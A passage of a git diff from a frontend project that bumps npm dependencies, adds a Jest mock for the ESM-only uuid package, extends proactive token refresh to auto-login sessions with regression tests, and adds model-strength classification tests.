"sha512-7YRhZ3jS45LwmSCT4b2sVFHt/WuovaktDU07QrtOBY2PXskss5a9jfmR9jptyumwXST+rFjrmppMY1KT/yn35A==", "dev": true, "license": "MIT" }, @@ -15901,6 +16624,75 @@ "url": "https://opencollective.com/openseadragon" } }, + "node_modules/oxc-parser": { + "version": "0.127.0", + "resolved": "https://registry.npmjs.org/oxc-parser/-/oxc-parser-0.127.0.tgz", + "integrity": "sha512-bkgD4qHlN7WxLdX8bLXdaU54TtQtAIg/ZBAfm0aje/mo3MRDo3P0hZSgr4U7O3xfX+fQmR5AP04JS/TGcZLcFA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@oxc-project/types": "^0.127.0" + }, + "engines": { + "node": "^20.19.0 || >=22.12.0" + }, + "funding": { + "url": "https://github.com/sponsors/Boshen" + }, + "optionalDependencies": { + "@oxc-parser/binding-android-arm-eabi": "0.127.0", + "@oxc-parser/binding-android-arm64": "0.127.0", + "@oxc-parser/binding-darwin-arm64": "0.127.0", + "@oxc-parser/binding-darwin-x64": "0.127.0", + "@oxc-parser/binding-freebsd-x64": "0.127.0", + "@oxc-parser/binding-linux-arm-gnueabihf": "0.127.0", + "@oxc-parser/binding-linux-arm-musleabihf": "0.127.0", + "@oxc-parser/binding-linux-arm64-gnu": "0.127.0", + "@oxc-parser/binding-linux-arm64-musl": "0.127.0", + "@oxc-parser/binding-linux-ppc64-gnu": "0.127.0", + "@oxc-parser/binding-linux-riscv64-gnu": "0.127.0", + "@oxc-parser/binding-linux-riscv64-musl": "0.127.0", + "@oxc-parser/binding-linux-s390x-gnu": "0.127.0", + "@oxc-parser/binding-linux-x64-gnu": "0.127.0", + "@oxc-parser/binding-linux-x64-musl": "0.127.0", + "@oxc-parser/binding-openharmony-arm64": "0.127.0", + "@oxc-parser/binding-wasm32-wasi": "0.127.0", + "@oxc-parser/binding-win32-arm64-msvc": "0.127.0", + "@oxc-parser/binding-win32-ia32-msvc": "0.127.0", + "@oxc-parser/binding-win32-x64-msvc": "0.127.0" + } + }, + "node_modules/oxc-resolver": { + "version": "11.20.0", + "resolved": "https://registry.npmjs.org/oxc-resolver/-/oxc-resolver-11.20.0.tgz", + "integrity": "sha512-CblytBiV/a/ZXY34dsVU2NxhIOxMXst8CvDCtyBelVITgd7PLrKzbEbA6oKLdPjvDKDzCiW48qzmzZ+mYaqn+g==", + "dev": true, + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/Boshen" + }, + "optionalDependencies": { + "@oxc-resolver/binding-android-arm-eabi": "11.20.0", + "@oxc-resolver/binding-android-arm64": "11.20.0", + "@oxc-resolver/binding-darwin-arm64": "11.20.0", + "@oxc-resolver/binding-darwin-x64": "11.20.0", + "@oxc-resolver/binding-freebsd-x64": "11.20.0", + "@oxc-resolver/binding-linux-arm-gnueabihf": "11.20.0", + "@oxc-resolver/binding-linux-arm-musleabihf": "11.20.0", + "@oxc-resolver/binding-linux-arm64-gnu": "11.20.0", + "@oxc-resolver/binding-linux-arm64-musl": "11.20.0", + "@oxc-resolver/binding-linux-ppc64-gnu": "11.20.0", + "@oxc-resolver/binding-linux-riscv64-gnu": "11.20.0", + "@oxc-resolver/binding-linux-riscv64-musl": "11.20.0", + "@oxc-resolver/binding-linux-s390x-gnu": "11.20.0", + "@oxc-resolver/binding-linux-x64-gnu": "11.20.0", + "@oxc-resolver/binding-linux-x64-musl": "11.20.0", + "@oxc-resolver/binding-openharmony-arm64": "11.20.0", + "@oxc-resolver/binding-wasm32-wasi": "11.20.0", + "@oxc-resolver/binding-win32-arm64-msvc": "11.20.0", + "@oxc-resolver/binding-win32-x64-msvc": "11.20.0" + } + }, "node_modules/p-cancelable": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-3.0.0.tgz", @@ -16268,9 +17060,9 @@ } }, "node_modules/piscina": { - "version": "4.9.2", - "resolved": "https://registry.npmjs.org/piscina/-/piscina-4.9.2.tgz", - "integrity": "sha512-Fq0FERJWFEUpB4eSY59wSNwXD4RYqR+nR/WiEVcZW8IWfVBxJJafcgTEZDQo8k3w0sUarJ8RyVbbUF4GQ2LGbQ==", + "version": "4.9.3", + "resolved": "https://registry.npmjs.org/piscina/-/piscina-4.9.3.tgz", + "integrity": "sha512-3e3ka9QCE8RJ5I9uszdAADZnkcYi21cqmF3gxox3u884N72qpFHCsIVhHt8cEQ9t3Auq/NqoiCEuhxlxxQuDWA==", "dev": true, "license": "MIT", "optionalDependencies": { @@ -16442,24 +17234,10 @@ "postcss": "^8.2.14" } }, - "node_modules/postcss-nested/node_modules/postcss-selector-parser": { - "version": "6.1.2", - "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.1.2.tgz", - "integrity": "sha512-Q8qQfPiZ+THO/3ZrOrO0cJJKfpYCagtMUkXbnEfmgUjwXg6z/WBeOyS9APBBPCTSiDV+s4SwQGu8yFsiMRIudg==", - "license": "MIT", - "dependencies": { - "cssesc": "^3.0.0", - "util-deprecate": "^1.0.2" - }, - "engines": { - "node": ">=4" - } - }, "node_modules/postcss-selector-parser": { - "version": "6.0.10", - "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.10.tgz", - "integrity": "sha512-IQ7TZdoaqbT+LCpShg46jnZVlhWD2w6iQYAcYXfHARZ7X1t/UGhhceQDs5X0cGqKvYlHNOuv7Oa1xmb0oQuA3w==", - "dev": true, + "version": "6.1.4", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.1.4.tgz", + "integrity": "sha512-bIoJLOmjCO1S9XdY/DcnR5hJxvrDir1PbGChrzXG3vw0/FOliy/fA3dmdhQ441kah4gKv+TwckGzex6wNS5cnQ==", "license": "MIT", "dependencies": { "cssesc": "^3.0.0", @@ -16974,6 +17752,22 @@ "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==", "license": "MIT" }, + "node_modules/react-is-18": { + "name": "react-is", + "version": "18.3.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.3.1.tgz", + "integrity": "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==", + "dev": true, + "license": "MIT" + }, + "node_modules/react-is-19": { + "name": "react-is", + "version": "19.2.7", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-19.2.7.tgz", + "integrity": "sha512-kZFnouyVv7eP/Phmrlo9FK+zcAdriZJvzxXHF1Sl1P377WSGe2G/JxVolhTrB/jeV47lKImhNUsijjHAAbcl/A==", + "dev": true, + "license": "MIT" + }, "node_modules/react-markdown": { "version": "9.1.0", "resolved": "https://registry.npmjs.org/react-markdown/-/react-markdown-9.1.0.tgz", @@ -17078,12 +17872,12 @@ } }, "node_modules/react-router": { - "version": "6.30.3", - "resolved": "https://registry.npmjs.org/react-router/-/react-router-6.30.3.tgz", - "integrity": "sha512-XRnlbKMTmktBkjCLE8/XcZFlnHvr2Ltdr1eJX4idL55/9BbORzyZEaIkBFDhFGCEWBBItsVrDxwx3gnisMitdw==", + "version": "6.30.4", + "resolved": "https://registry.npmjs.org/react-router/-/react-router-6.30.4.tgz", + "integrity": "sha512-SVUsDe+DybHM/WmYKIVYhZh1o5Dcuf16yM6WjG02Q9XVFMZIJyHYhwrr6bFBXZkVP6z69kNkMyBCujt8FaFLJA==", "license": "MIT", "dependencies": { - "@remix-run/router": "1.23.2" + "@remix-run/router": "1.23.3" }, "engines": { "node": ">=14.0.0" @@ -17093,13 +17887,13 @@ } }, "node_modules/react-router-dom": { - "version": "6.30.3", - "resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-6.30.3.tgz", - "integrity": "sha512-pxPcv1AczD4vso7G4Z3TKcvlxK7g7TNt3/FNGMhfqyntocvYKj+GCatfigGDjbLozC4baguJ0ReCigoDJXb0ag==", + "version": "6.30.4", + "resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-6.30.4.tgz", + "integrity": "sha512-q4HvNl+mmDdkS0g+MqiBZNteQJCuimWoOyHMy4T/RQLAn9Z29+E91QXRaxOujeMl2HTzRSS0KFPd7lxX3PjV0Q==", "license": "MIT", "dependencies": { - "@remix-run/router": "1.23.2", - "react-router": "6.30.3" + "@remix-run/router": "1.23.3", + "react-router": "6.30.4" }, "engines": { "node": ">=14.0.0" @@ -17784,9 +18578,9 @@ } }, "node_modules/semver": { - "version": "7.7.4", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.4.tgz", - "integrity": "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA==", + "version": "7.8.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.8.4.tgz", + "integrity": "sha512-rUCObTnP32Q08R2uuIrt7r9PlEonuTmtuXYcW6s5kjdlj3xbnwe+21yXptAUYcMAABLkYYTtnmzb3w3EDZfueA==", "devOptional": true, "license": "ISC", "bin": { @@ -18305,14 +19099,14 @@ } }, "node_modules/storybook": { - "version": "10.3.6", - "resolved": "https://registry.npmjs.org/storybook/-/storybook-10.3.6.tgz", - "integrity": "sha512-vbSz7g/1rGMC1uAULqMZjALkIuLu2QABqfhRYhyr/11kzyesi+vAmwyJLukZP1FfecxGOgMwOh6GS0YsGpHAvQ==", + "version": "10.4.5", + "resolved": "https://registry.npmjs.org/storybook/-/storybook-10.4.5.tgz", + "integrity": "sha512-QZuv1gS9Tf9RMCjDw5JOfv1XSB5IhU0uhSKQNS7l/N9zDpmSydirCspkCNT9e0zkFfPkZ9vmQUTzHY/BA07saA==", "dev": true, "license": "MIT", "dependencies": { "@storybook/global": "^5.0.0", - "@storybook/icons": "^2.0.1", + "@storybook/icons": "^2.0.2", "@testing-library/jest-dom": "^6.9.1", "@testing-library/user-event": "^14.6.1", "@vitest/expect": "3.2.4", @@ -18320,6 +19114,8 @@ "@webcontainer/env": "^1.1.1", "esbuild": "^0.18.0 || ^0.19.0 || ^0.20.0 || ^0.21.0 || ^0.22.0 || ^0.23.0 || ^0.24.0 || ^0.25.0 || ^0.26.0 || ^0.27.0", "open": "^10.2.0", + "oxc-parser": "^0.127.0", + "oxc-resolver": "^11.19.1", "recast": "^0.23.5", "semver": "^7.7.3", "use-sync-external-store": "^1.5.0", @@ -18333,10 +19129,14 @@ "url": "https://opencollective.com/storybook" }, "peerDependencies": { + "@types/react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", "prettier": "^2 || ^3", "vite-plus": "^0.1.15" }, "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, "prettier": { "optional": true }, @@ -18648,13 +19448,13 @@ "license": "MIT" }, "node_modules/synckit": { - "version": "0.11.12", - "resolved": "https://registry.npmjs.org/synckit/-/synckit-0.11.12.tgz", - "integrity": "sha512-Bh7QjT8/SuKUIfObSXNHNSK6WHo6J1tHCqJsuaFDP7gP0fkzSfTxI8y85JrppZ0h8l0maIgc2tfuZQ6/t3GtnQ==", + "version": "0.11.13", + "resolved": "https://registry.npmjs.org/synckit/-/synckit-0.11.13.tgz", + "integrity": "sha512-eNRKgb3z66Yp3D2CixVujOUvXLFUTij/zVnV8KRyvFdQwpz7I5DS8UfRkTeLzb64u+dkzDSdelE24izu+zSSUg==", "dev": true, "license": "MIT", "dependencies": { - "@pkgr/core": "^0.2.9" + "@pkgr/core": "^0.3.6" }, "engines": { "node": "^14.18.0 || >=16.0.0" @@ -18789,19 +19589,6 @@ } } }, - "node_modules/tailwindcss/node_modules/postcss-selector-parser": { - "version": "6.1.2", - "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.1.2.tgz", - "integrity": "sha512-Q8qQfPiZ+THO/3ZrOrO0cJJKfpYCagtMUkXbnEfmgUjwXg6z/WBeOyS9APBBPCTSiDV+s4SwQGu8yFsiMRIudg==", - "license": "MIT", - "dependencies": { - "cssesc": "^3.0.0", - "util-deprecate": "^1.0.2" - }, - "engines": { - "node": ">=4" - } - }, "node_modules/tar-fs": { "version": "2.1.4", "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-2.1.4.tgz", @@ -19096,9 +19883,9 @@ "license": "Apache-2.0" }, "node_modules/ts-jest": { - "version": "29.4.9", - "resolved": "https://registry.npmjs.org/ts-jest/-/ts-jest-29.4.9.tgz", - "integrity": "sha512-LTb9496gYPMCqjeDLdPrKuXtncudeV1yRZnF4Wo5l3SFi0RYEnYRNgMrFIdg+FHvfzjCyQk1cLncWVqiSX+EvQ==", + "version": "29.4.11", + "resolved": "https://registry.npmjs.org/ts-jest/-/ts-jest-29.4.11.tgz", + "integrity": "sha512-IrFl7l9AuB/qrNw5quqvAv/hmKMb8dhWOH4jQOGo0Oq8tCeo1O86/iTFG1FaRimgUkF13l4PcepO8ATFT6Ns4g==", "dev": true, "license": "MIT", "dependencies": { @@ -19108,7 +19895,7 @@ "json5": "^2.2.3", "lodash.memoize": "^4.1.2", "make-error": "^1.3.6", - "semver": "^7.7.4", + "semver": "^7.8.0", "type-fest": "^4.41.0", "yargs-parser": "^21.1.1" }, @@ -19524,38 +20311,41 @@ } }, "node_modules/unrs-resolver": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/unrs-resolver/-/unrs-resolver-1.11.1.tgz", - "integrity": "sha512-bSjt9pjaEBnNiGgc9rUiHGKv5l4/TGzDmYw3RhnkJGtLhbnnA/5qJj7x3dNDCRx/PJxu774LlH8lCOlB4hEfKg==", + "version": "1.12.2", + "resolved": "https://registry.npmjs.org/unrs-resolver/-/unrs-resolver-1.12.2.tgz", + "integrity": "sha512-dmlRxBJJayXjqTwC+JtF1HhJmgf3ftQ3YejFcZrf4+KKtJv0qDsK1pjqaaVjG7wJ5NJ6UVP1OqRMQ71Z4C3rxQ==", "dev": true, "hasInstallScript": true, "license": "MIT", "dependencies": { - "napi-postinstall": "^0.3.0" + "napi-postinstall": "^0.3.4" }, "funding": { "url": "https://opencollective.com/unrs-resolver" }, "optionalDependencies": { - "@unrs/resolver-binding-android-arm-eabi": "1.11.1", - "@unrs/resolver-binding-android-arm64": "1.11.1", - "@unrs/resolver-binding-darwin-arm64": "1.11.1", - "@unrs/resolver-binding-darwin-x64": "1.11.1", - "@unrs/resolver-binding-freebsd-x64": "1.11.1", - "@unrs/resolver-binding-linux-arm-gnueabihf": "1.11.1", - "@unrs/resolver-binding-linux-arm-musleabihf": "1.11.1", - "@unrs/resolver-binding-linux-arm64-gnu": "1.11.1", - "@unrs/resolver-binding-linux-arm64-musl": "1.11.1", - "@unrs/resolver-binding-linux-ppc64-gnu": "1.11.1", - "@unrs/resolver-binding-linux-riscv64-gnu": "1.11.1", - "@unrs/resolver-binding-linux-riscv64-musl": "1.11.1", - "@unrs/resolver-binding-linux-s390x-gnu": "1.11.1", - "@unrs/resolver-binding-linux-x64-gnu": "1.11.1", - "@unrs/resolver-binding-linux-x64-musl": "1.11.1", - "@unrs/resolver-binding-wasm32-wasi": "1.11.1", - "@unrs/resolver-binding-win32-arm64-msvc": "1.11.1", - "@unrs/resolver-binding-win32-ia32-msvc": "1.11.1", - "@unrs/resolver-binding-win32-x64-msvc": "1.11.1" + "@unrs/resolver-binding-android-arm-eabi": "1.12.2", + "@unrs/resolver-binding-android-arm64": "1.12.2", + "@unrs/resolver-binding-darwin-arm64": "1.12.2", + "@unrs/resolver-binding-darwin-x64": "1.12.2", + "@unrs/resolver-binding-freebsd-x64": "1.12.2", + "@unrs/resolver-binding-linux-arm-gnueabihf": "1.12.2", + "@unrs/resolver-binding-linux-arm-musleabihf": "1.12.2", + "@unrs/resolver-binding-linux-arm64-gnu": "1.12.2", + "@unrs/resolver-binding-linux-arm64-musl": "1.12.2", + "@unrs/resolver-binding-linux-loong64-gnu": "1.12.2", + "@unrs/resolver-binding-linux-loong64-musl": "1.12.2", + "@unrs/resolver-binding-linux-ppc64-gnu": "1.12.2", + "@unrs/resolver-binding-linux-riscv64-gnu": "1.12.2", + "@unrs/resolver-binding-linux-riscv64-musl": "1.12.2", + "@unrs/resolver-binding-linux-s390x-gnu": "1.12.2", + "@unrs/resolver-binding-linux-x64-gnu": "1.12.2", + "@unrs/resolver-binding-linux-x64-musl": "1.12.2", + "@unrs/resolver-binding-openharmony-arm64": "1.12.2", + "@unrs/resolver-binding-wasm32-wasi": "1.12.2", + "@unrs/resolver-binding-win32-arm64-msvc": "1.12.2", + "@unrs/resolver-binding-win32-ia32-msvc": "1.12.2", + "@unrs/resolver-binding-win32-x64-msvc": "1.12.2" } }, "node_modules/untruncate-json": { @@ -19663,17 +20453,16 @@ "license": "MIT" }, "node_modules/uuid": { - "version": "10.0.0", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-10.0.0.tgz", - "integrity": "sha512-8XkAphELsDnEGrDxUOHB3RGvXz6TeuYSGEZBOjtTtPm2lwhGBjLgOzLHB63IUWfBpNucQjND6d3AOudO+H3RWQ==", - "deprecated": "uuid@10 and below is no longer supported. For ESM codebases, update to uuid@latest. For CommonJS codebases, use uuid@11 (but be aware this version will likely be deprecated in 2028).", + "version": "14.0.0", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-14.0.0.tgz", + "integrity": "sha512-Qo+uWgilfSmAhXCMav1uYFynlQO7fMFiMVZsQqZRMIXp0O7rR7qjkj+cPvBHLgBqi960QCoo/PH2/6ZtVqKvrg==", "funding": [ "https://github.com/sponsors/broofa", "https://github.com/sponsors/ctavan" ], "license": "MIT", "bin": { - "uuid": "dist/bin/uuid" + "uuid": "dist-node/bin/uuid" } }, "node_modules/v8-to-istanbul": { @@ -19794,9 +20583,9 @@ } }, "node_modules/vite": { - "version": "7.3.2", - "resolved": "https://registry.npmjs.org/vite/-/vite-7.3.2.tgz", - "integrity": "sha512-Bby3NOsna2jsjfLVOHKes8sGwgl4TT0E6vvpYgnAYDIF/tie7MRaFthmKuHx1NSXjiTueXH3do80FMQgvEktRg==", + "version": "7.3.5", + "resolved": "https://registry.npmjs.org/vite/-/vite-7.3.5.tgz", + "integrity": "sha512-KuOaNhcnGFN2zIPGA7wRmzF+lJA1sea7rHq17aiJ++9lzY1WWG6Jpwqwe1KNbRVPIqHmr8GLYx7jbrQcN/7/ww==", "dev": true, "license": "MIT", "dependencies": { diff --git a/src/frontend/package.json b/src/frontend/package.json index 9f3e5917db..20edf32867 100644 --- a/src/frontend/package.json +++ b/src/frontend/package.json @@ -18,12 +18,17 @@ "jest-message-util": { "picomatch": "^4.0.4" }, + "jest-junit": { + "uuid": "^11.1.0" + }, "playwright": "^1.59.1", "brace-expansion": "^5.0.5", "handlebars": "^4.7.9", "minimatch": "^10.2.5", "serialize-javascript": ">=7.0.3", - "undici": ">=7.24.0" + "undici": ">=7.24.0", + "postcss-selector-parser": "^6.1.3", + "form-data": "^4.0.6" }, "dependencies": { "@chakra-ui/number-input": "^2.1.2", @@ -97,7 +102,7 @@ "react-icons": "^5.2.1", "react-markdown": "^9.1.0", "react-pdf": "^9.0.0", - "react-router-dom": "^6.23.1", + "react-router-dom": "^6.30.4", "react-sortablejs": "^6.1.4", "react-syntax-highlighter": "^16.1.0", "reactflow": "^11.11.3", @@ -112,7 +117,7 @@ "tailwind-merge": "^2.3.0", "tailwindcss-animate": "^1.0.7", "use-stick-to-bottom": "^1.1.1", - "uuid": "^10.0.0", + "uuid": "^14.0.0", "vanilla-jsoneditor": "^2.3.3", "web-vitals": "^4.1.1", "whatwg-fetch": "^3.6.20", diff --git a/src/frontend/src/__mocks__/uuid.js b/src/frontend/src/__mocks__/uuid.js new file mode 100644 index 0000000000..988140975b --- /dev/null +++ b/src/frontend/src/__mocks__/uuid.js @@ -0,0 +1,109 @@ +// Mock for the `uuid` package to handle its ESM-only build in Jest. +// +// uuid v14 ships ES modules only ("type": "module"; its only `node` export, +// dist-node/index.js, is ESM), which Jest's CommonJS runtime cannot parse +// ("SyntaxError: Unexpected token 'export'"). The repo already maps other +// ESM-only packages (vanilla-jsoneditor, @jsonquerylang/jsonquery) to CommonJS +// mocks via moduleNameMapper; this does the same for uuid. +// +// The implementation is RFC 4122-correct (real random v4, deterministic SHA-1 +// v5/MD5 v3) so output is byte-identical to the real package. Source code under +// test uses `v5` (with `v5.DNS`) and `v4`. +const crypto = require("crypto"); + +const NIL = "00000000-0000-0000-0000-000000000000"; +const MAX = "ffffffff-ffff-ffff-ffff-ffffffffffff"; + +const DNS = "6ba7b810-9dad-11d1-80b4-00c04fd430c8"; +const URL = "6ba7b811-9dad-11d1-80b4-00c04fd430c8"; + +const byteToHex = []; +for (let i = 0; i < 256; i++) { + byteToHex.push((i + 0x100).toString(16).slice(1)); +} + +function stringify(arr, offset = 0) { + return ( + byteToHex[arr[offset]] + + byteToHex[arr[offset + 1]] + + byteToHex[arr[offset + 2]] + + byteToHex[arr[offset + 3]] + + "-" + + byteToHex[arr[offset + 4]] + + byteToHex[arr[offset + 5]] + + "-" + + byteToHex[arr[offset + 6]] + + byteToHex[arr[offset + 7]] + + "-" + + byteToHex[arr[offset + 8]] + + byteToHex[arr[offset + 9]] + + "-" + + byteToHex[arr[offset + 10]] + + byteToHex[arr[offset + 11]] + + byteToHex[arr[offset + 12]] + + byteToHex[arr[offset + 13]] + + byteToHex[arr[offset + 14]] + + byteToHex[arr[offset + 15]] + ); +} + +function parse(uuid) { + const hex = uuid.replace(/-/g, ""); + const bytes = Buffer.alloc(16); + for (let i = 0; i < 16; i++) { + bytes[i] = parseInt(hex.slice(i * 2, i * 2 + 2), 16); + } + return bytes; +} + +function validate(uuid) { + return ( + typeof uuid === "string" && + /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i.test(uuid) + ); +} + +function version(uuid) { + return parseInt(uuid.slice(14, 15), 16); +} + +function v4() { + // Node's built-in RFC 4122 v4 generator. + return crypto.randomUUID(); +} + +// Build a name-based generator (v3 = MD5, v5 = SHA-1) carrying namespace +// constants, matching the real `uuid` API surface (e.g. `v5.DNS`). +function makeNamedUuid(algorithm, ver) { + function generate(name, namespace) { + const nsBytes = + typeof namespace === "string" ? parse(namespace) : namespace; + const nameBytes = Buffer.from(name, "utf8"); + const hash = crypto + .createHash(algorithm) + .update(Buffer.concat([Buffer.from(nsBytes), nameBytes])) + .digest(); + const bytes = Buffer.from(hash.subarray(0, 16)); + bytes[6] = (bytes[6] & 0x0f) | (ver << 4); + bytes[8] = (bytes[8] & 0x3f) | 0x80; + return stringify(bytes); + } + generate.DNS = DNS; + generate.URL = URL; + return generate; +} + +const v3 = makeNamedUuid("md5", 3); +const v5 = makeNamedUuid("sha1", 5); + +module.exports = { + v3, + v4, + v5, + NIL, + MAX, + parse, + stringify, + validate, + version, +}; diff --git a/src/frontend/src/components/authorization/authGuard/__tests__/proactive-refresh.test.tsx b/src/frontend/src/components/authorization/authGuard/__tests__/proactive-refresh.test.tsx new file mode 100644 index 0000000000..df69ab3175 --- /dev/null +++ b/src/frontend/src/components/authorization/authGuard/__tests__/proactive-refresh.test.tsx @@ -0,0 +1,119 @@ +/** + * Regression tests for the ProtectedRoute proactive token refresh. + * + * GHSA-fjgc-vj2f-77hm shortened the auto-login access token from 365 days to + * ACCESS_TOKEN_EXPIRE_SECONDS (default 1h) and added a refresh_token_lf cookie. + * The proactive refresh interval used to be armed only for manual sessions + * (`!autoLogin`), so under default AUTO_LOGIN a tab left open past the token + * lifetime would 401 with no client-side recovery. The interval must now be + * armed for auto-login sessions too so they refresh transparently via /refresh. + */ + +import { act, render } from "@testing-library/react"; + +// Mirrors the mocked LANGFLOW_ACCESS_TOKEN_EXPIRE_SECONDS below (seconds → ms). +const ACCESS_TOKEN_EXPIRE_SECONDS = 3240; +const INTERVAL_MS = ACCESS_TOKEN_EXPIRE_SECONDS * 1000; + +const mockMutateRefresh = jest.fn(); +let mockAuthState: { + isAuthenticated: boolean; + autoLogin: boolean | undefined; +} = { + isAuthenticated: true, + autoLogin: true, +}; + +jest.mock("@/constants/constants", () => ({ + IS_AUTO_LOGIN: true, + LANGFLOW_ACCESS_TOKEN_EXPIRE_SECONDS: 3240, + LANGFLOW_ACCESS_TOKEN_EXPIRE_SECONDS_ENV: Number.NaN, +})); + +jest.mock("@/controllers/API/queries/auth", () => ({ + useRefreshAccessToken: () => ({ mutate: mockMutateRefresh }), +})); + +jest.mock("@/customization/components/custom-navigate", () => ({ + CustomNavigate: () => null, +})); + +jest.mock("@/stores/authStore", () => ({ + __esModule: true, + default: (selector: (state: typeof mockAuthState) => unknown) => + selector(mockAuthState), +})); + +import { ProtectedRoute } from "../index"; + +describe("ProtectedRoute - proactive token refresh", () => { + beforeEach(() => { + jest.useFakeTimers(); + mockMutateRefresh.mockClear(); + sessionStorage.clear(); + }); + + afterEach(() => { + jest.runOnlyPendingTimers(); + jest.useRealTimers(); + }); + + it("arms the proactive refresh under auto-login (GHSA-fjgc-vj2f-77hm)", () => { + mockAuthState = { isAuthenticated: true, autoLogin: true }; + + render( + +
child
+
, + ); + + // Auto-login just minted a fresh token, so there is no redundant immediate + // refresh on mount. + expect(mockMutateRefresh).not.toHaveBeenCalled(); + + // The interval keeps the now short-lived token alive via /refresh. + act(() => { + jest.advanceTimersByTime(INTERVAL_MS); + }); + expect(mockMutateRefresh).toHaveBeenCalledTimes(1); + + act(() => { + jest.advanceTimersByTime(INTERVAL_MS); + }); + expect(mockMutateRefresh).toHaveBeenCalledTimes(2); + }); + + it("refreshes immediately on mount for manual sessions (unchanged)", () => { + mockAuthState = { isAuthenticated: true, autoLogin: false }; + + render( + +
child
+
, + ); + + // Manual sessions validate the cookie session once on mount... + expect(mockMutateRefresh).toHaveBeenCalledTimes(1); + + // ...then keep refreshing on the interval. + act(() => { + jest.advanceTimersByTime(INTERVAL_MS); + }); + expect(mockMutateRefresh).toHaveBeenCalledTimes(2); + }); + + it("does not arm a refresh until autoLogin is determined", () => { + mockAuthState = { isAuthenticated: false, autoLogin: undefined }; + + render( + +
child
+
, + ); + + act(() => { + jest.advanceTimersByTime(INTERVAL_MS * 2); + }); + expect(mockMutateRefresh).not.toHaveBeenCalled(); + }); +}); diff --git a/src/frontend/src/components/authorization/authGuard/index.tsx b/src/frontend/src/components/authorization/authGuard/index.tsx index 3a6a2b466e..d03c874fcd 100644 --- a/src/frontend/src/components/authorization/authGuard/index.tsx +++ b/src/frontend/src/components/authorization/authGuard/index.tsx @@ -32,12 +32,24 @@ export const ProtectedRoute = ({ children }) => { mutateRefresh(); }; - if (autoLogin !== undefined && !autoLogin && isAuthenticated) { + // Proactively refresh the access token before it expires for any + // authenticated session — manual login AND auto-login. Auto-login tokens + // are now short-lived (ACCESS_TOKEN_EXPIRE_SECONDS) and ``/auto_login`` sets + // a ``refresh_token_lf`` cookie, so the session must refresh transparently + // via ``/refresh`` instead of relying on a long-lived token. Without this, a + // tab left open past the token lifetime would 401 with no client-side + // recovery until a full page reload. + if (autoLogin !== undefined && isAuthenticated) { const intervalId = setInterval(intervalFunction, accessTokenTimer * 1000); - intervalFunction(); + // Manual sessions refresh once on mount to validate the cookie session. + // Auto-login just minted a fresh token via ``/auto_login``, so skip the + // redundant immediate refresh and let the interval keep it alive. + if (!autoLogin) { + intervalFunction(); + } return () => clearInterval(intervalId); } - }, [isAuthenticated]); + }, [isAuthenticated, autoLogin]); if (shouldRedirect || testMockAutoLogin) { const currentPath = window.location.pathname; diff --git a/src/frontend/src/components/core/assistantPanel/components/model-selector.tsx b/src/frontend/src/components/core/assistantPanel/components/model-selector.tsx index d1e414fb1e..e5e7b8e343 100644 --- a/src/frontend/src/components/core/assistantPanel/components/model-selector.tsx +++ b/src/frontend/src/components/core/assistantPanel/components/model-selector.tsx @@ -257,9 +257,9 @@ export function ModelSelector({ - Smaller models may underperform on agent tasks + This model may underperform on agent tasks )} {isManageProvidersOpen && ( diff --git a/src/frontend/src/components/core/assistantPanel/helpers/__tests__/model-strength.test.ts b/src/frontend/src/components/core/assistantPanel/helpers/__tests__/model-strength.test.ts index 4625435304..b98d2f91a7 100644 --- a/src/frontend/src/components/core/assistantPanel/helpers/__tests__/model-strength.test.ts +++ b/src/frontend/src/components/core/assistantPanel/helpers/__tests__/model-strength.test.ts @@ -76,6 +76,53 @@ describe("classifyModelStrength", () => { }); }); + describe("weak — bare local-server tags whose default size is small", () => { + // Live finding (2026-06-12): Ollama/LM Studio tags often omit the param + // count ("llama3.2:latest" is the 3B default) and fell through to + // "strong"; llama3.2 and qwen2.5-7b demonstrably fail the agent loop. + it.each([ + "llama3.2:latest", + "llama3.2", + "llama3.1", + "llama2", + "mistral", + "mistral-nemo", + "qwen2.5", + "qwen2.5-coder", + "qwen2", + "gemma2", + "gemma3", + "smollm2", + "hermes3", + ])("classifies %s as weak", (model) => { + expect(classifyModelStrength(model)).toBe("weak"); + }); + }); + + describe("strong — large models and flagships", () => { + it.each([ + "qwen2.5-coder:32b", + "llama3.2-vision:90b", + "mistral-large", + "glm-5:cloud", + ])("classifies %s as strong", (model) => { + expect(classifyModelStrength(model)).toBe("strong"); + }); + }); + + describe("weak — families that are unreliable on agent tasks regardless of size", () => { + // Live finding (2026-06-12): gpt-oss on Ollama leaks harmony reasoning + // into the tool-call channel, emits malformed calls and churns to the + // recursion limit — size does not save it, so the size override must + // not either. + it.each(["gpt-oss:20b", "gpt-oss:120b", "gpt-oss"])( + "classifies %s as weak", + (model) => { + expect(classifyModelStrength(model)).toBe("weak"); + }, + ); + }); + describe("strong — flagship / large models stay strong", () => { it.each([ // OpenAI flagships diff --git 